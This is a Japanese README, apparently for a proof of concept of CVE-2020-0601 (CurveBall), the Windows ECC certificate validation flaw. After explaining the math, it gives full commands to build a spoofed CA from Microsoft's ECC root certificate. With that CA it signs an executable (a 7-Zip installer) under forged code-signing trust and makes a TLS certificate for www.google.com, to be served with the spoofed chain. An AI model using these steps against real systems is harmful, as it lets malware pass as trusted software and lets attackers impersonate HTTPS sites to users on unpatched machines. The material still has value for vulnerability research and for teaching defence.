CVE-2020-0601は、一般にCurveBallと呼ばれる、楕円曲線暗号(ECC)を使用した証明書の署名が正しく検証されない脆弱性です。
ECCはさまざまなパラメータに依存しています。これらのパラメータは多くの曲線に対して標準化されています。しかし、Microsoftはこれらのすべてのパラメータをチェックしていませんでした。パラメータG(ジェネレータ)がチェックされておらず、攻撃者は独自のジェネレータを供給できます。そのため、Microsoftが信頼されたCAに対して証明書を検証しようとするとき、一致する公開鍵のみを探し、その後に証明書のジェネレータを使用します。NSAはこの脆弱性の影響などについてこちらで説明しています。
MicrosoftECCProductRootCertificateAuthority.cerは、Windows 10上でECCを使用する、デフォルトで信頼されたルート認証局(CA)です。したがって、この証明書で署名されたものはすべて自動的に信頼されます。
最小要件
openssl 1.1.0
ruby 2.4.0
この脆弱性の数学的詳細に興味がある場合は、こちらをお読みください。
証明書を偽装するために、以下のパラメータを設定します:
d' = 1
G' = Q
これにより、Q = Q' = d'G'が成り立ちます。
信頼されたCAと同じ公開鍵とパラメータを持つ証明書を作成します。これは偽装CAとして使用されます。秘密鍵を知っている値にジェネレータを設定します。Q = dGであるため、ジェネレータを公開鍵に設定し、秘密鍵を1に設定するだけで簡単に実現できます。
次に、使用したい拡張機能(例:コードサイニングやサーバー認証)を指定して証明書署名要求を作成します。
この証明書要求を偽装CAとCA鍵で署名し、使用拡張機能を追加します。
署名済みの証明書要求(これで通常の証明書になります)を偽装CAとバンドルすると、署名済みで信頼された証明書が得られます。
Windowsが証明書の信頼をチェックするとき、それが偽装CAによって署名されていることを確認します。次に、偽装CAの公開鍵を調べて信頼されたCAと照合します。その後、偽装CAの署名を偽装CAのジェネレータで単純に検証します - これが問題です。
新しく署名された信頼済み証明書をWindowsで開く場合、それが何にも関連付けられていないため、Windowsはそれを信頼済みとして認識せず、したがって偽装CAを使用しません。証明書は常に偽装CAとともに提示される必要があります。
教育および研究目的のみに使用してください。 CAから公開鍵を抽出し、脆弱性に応じて修正します:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
この鍵に基づいて新しいx509証明書を生成します。これが独自の偽装CAになります。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
新しい鍵を生成します。この鍵は任意の種類でかまいません。これはコードサイニング証明書の作成に使用され、独自のCAで署名します。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
次に、新しい証明書署名要求(CSR)を作成します。この要求は通常、信頼されたCAに送信されますが、偽装CAがあるため自分たちで署名できます。
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
新しいCSRを偽装CAとCA鍵で署名します。この証明書は2047年に失効しますが、実際の信頼されたMicrosoft CAは2043年に失効します。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
残りは、証明書、その鍵、偽装CAをPKCS12ファイルにパッケージ化して実行可能ファイルに署名することだけです。
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
PKCS12ファイルで実行可能ファイルに署名します。
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
教育および研究目的のみに使用してください。 CAから公開鍵を抽出し、脆弱性に応じて修正します:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
この鍵に基づいて新しいx509証明書を生成します。これが独自の偽装CAになります。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
新しい鍵を生成します。この鍵は任意の種類でかまいません。これはSSL証明書の作成に使用され、独自のCAで署名します。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
次に、新しい証明書署名要求(CSR)を作成します。この要求は通常、信頼されたCAに送信されますが、偽装CAがあるため自分たちで署名できます。
ドメイン名を変更したい場合は、openssl_tls.conf内のCN = www.google.comをCN = www.example.comに編集してください。
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
新しいCSRを偽装CAとCA鍵で署名します。この証明書は2047年に失効しますが、実際の信頼されたMicrosoft CAは2043年に失効します。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
これでcert.crt、cert.key、spoofed_ca.crtを使用してコンテンツを配信できます。繰り返しますが、サーバーのHTTPS設定で証明書チェーンとしてspoofed_ca.crtを追加することを忘れないでください。
使用例はtls/index.jsを参照してください。